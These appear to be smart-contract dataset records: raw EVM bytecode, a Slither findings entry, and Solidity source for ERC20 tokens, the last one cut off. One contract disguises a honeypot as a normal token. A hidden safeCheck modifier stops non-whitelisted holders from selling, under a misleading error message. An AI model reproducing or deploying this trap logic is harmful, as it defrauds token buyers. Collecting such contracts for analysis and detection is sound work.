5b600081116113415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161083e565b6001600160a01b03831660009081526006602052604090205460ff16156113b65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b606482015260840161083e565b600080546001600160a01b038581169116148015906113e357506000546001600160a01b03848116911614155b1561182857600a546001600160a01b03858116911614801561141357506007546001600160a01b03848116911614155b801561143857506001600160a01b03831660009081526004602052604090205460ff16155b156116c45760115460ff1661148f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161083e565b60105442036114ce5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161083e565b42601054610e106114df9190611f9f565b111561155957600f546114f184610a94565b6114fb9084611f9f565b11156115595760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161083e565b6001600160a01b03831660009081526005602052604090206001015460ff166115c1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115d19190611f9f565b11156116a557600e548211156116295760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161083e565b61163442600f611f9f565b6001600160a01b038416600090815260056020526040902054106116a55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161083e565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116de575060115460ff165b80156116f85750600a546001600160a01b03858116911614155b156118285761170842600f611f9f565b6001600160a01b0385166000908152600560205260409020541061177a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161083e565b600061178530610a94565b905080156118115760115462010000900460ff161561180857600d54600a54606491906117ba906001600160a01b0316610a94565b6117c49190611fb7565b6117ce9190611fd6565b81111561180857600d54600a54606491906117f1906001600160a01b0316610a94565b6117fb9190611fb7565b6118059190611fd6565b90505b6118118161190c565b4780156118215761182147611887565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186a57506001600160a01b03841660009081526004602052604090205460ff165b15611873575060005b6118808585858486611a80565b5050505050565b6008546001600160a01b03166108fc6118a1600284611fd6565b6040518115909202916000818181858888f193505050501580156118c9573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118e4600284611fd6565b6040518115909202916000818181858888f19350505050158015610931573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061195057611950611ed3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cd9190611f37565b816001815181106119e0576119e0611ed3565b6001600160a01b039283166020918202929092010152600754611a0691309116846110f5565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3f908590600090869030904290600401611ff8565b600060405180830381600087803b158015611a5957600080fd5b505af1158015611a6d573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a8c8383611aa2565b9050611a9a86868684611ae9565b505050505050565b6000808315611ae2578215611aba5750600b54611ae2565b50600c54601054611acd90610384611f9f565b421015611ae257611adf600582611f9f565b90505b9392505050565b600080611af68484611bc6565b6001600160a01b0388166000908152600260205260409020549193509150611b1f908590611ebc565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b4f908390611f9f565b6001600160a01b038616600090815260026020526040902055611b7181611bfa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb691815260200190565b60405180910390a3505050505050565b600080806064611bd68587611fb7565b611be09190611fd6565b90506000611bee8287611ebc565b96919550909350505050565b30600090815260026020526040902054611c15908290611f9f565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c5557858101830151858201604001528201611c39565b81811115611c67576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9157600080fd5b8035611c9d81611c7d565b919050565b600060208284031215611cb457600080fd5b8135611ae281611c7d565b60008060408385031215611cd257600080fd5b8235611cdd81611c7d565b946020939093013593505050565b60008060408385031215611cfe57600080fd5b50508035926020909101359150565b600080600060608486031215611d2257600080fd5b8335611d2d81611c7d565b92506020840135611d3d81611c7d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7757600080fd5b823567ffffffffffffffff80821115611d8f57600080fd5b818501915085601f830112611da357600080fd5b813581811115611db557611db5611d4e565b8060051b604051601f19603f83011681018181108582111715611dda57611dda611d4e565b604052918252848201925083810185019188831115611df857600080fd5b938501935b82851015611e1d57611e0e85611c92565b84529385019392850192611dfd565b98975050505050505050565b600060208284031215611e3b57600080fd5b5035919050565b8015158114610a9157600080fd5b600060208284031215611e6257600080fd5b8135611ae281611e42565b60008060408385031215611e8057600080fd5b8235611e8b81611c7d565b91506020830135611e9b81611c7d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ece57611ece611ea6565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611efb57611efb611ea6565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4957600080fd5b8151611ae281611c7d565b600080600060608486031215611f6957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f9457600080fd5b8151611ae281611e42565b60008219821115611fb257611fb2611ea6565b500190565b6000816000190483118215151615611fd157611fd1611ea6565b500290565b600082611ff357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120485784516001600160a01b031683529383019391830191600101612023565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205328b0f78b024aebeb5b3bf089a6ec1274ef8dc3d3bf770266656a7b7c23676864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,028 |
0x8d8eeac9bd644415565886fb24c051921fcb68eb
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_ARTX(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201d6c2636af2577e435568058606a590c12c6d7abd7ba76484525ebb069d4904064736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,029 |
0x4237efcfa8f63961487c219448bb2c3acde82420
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
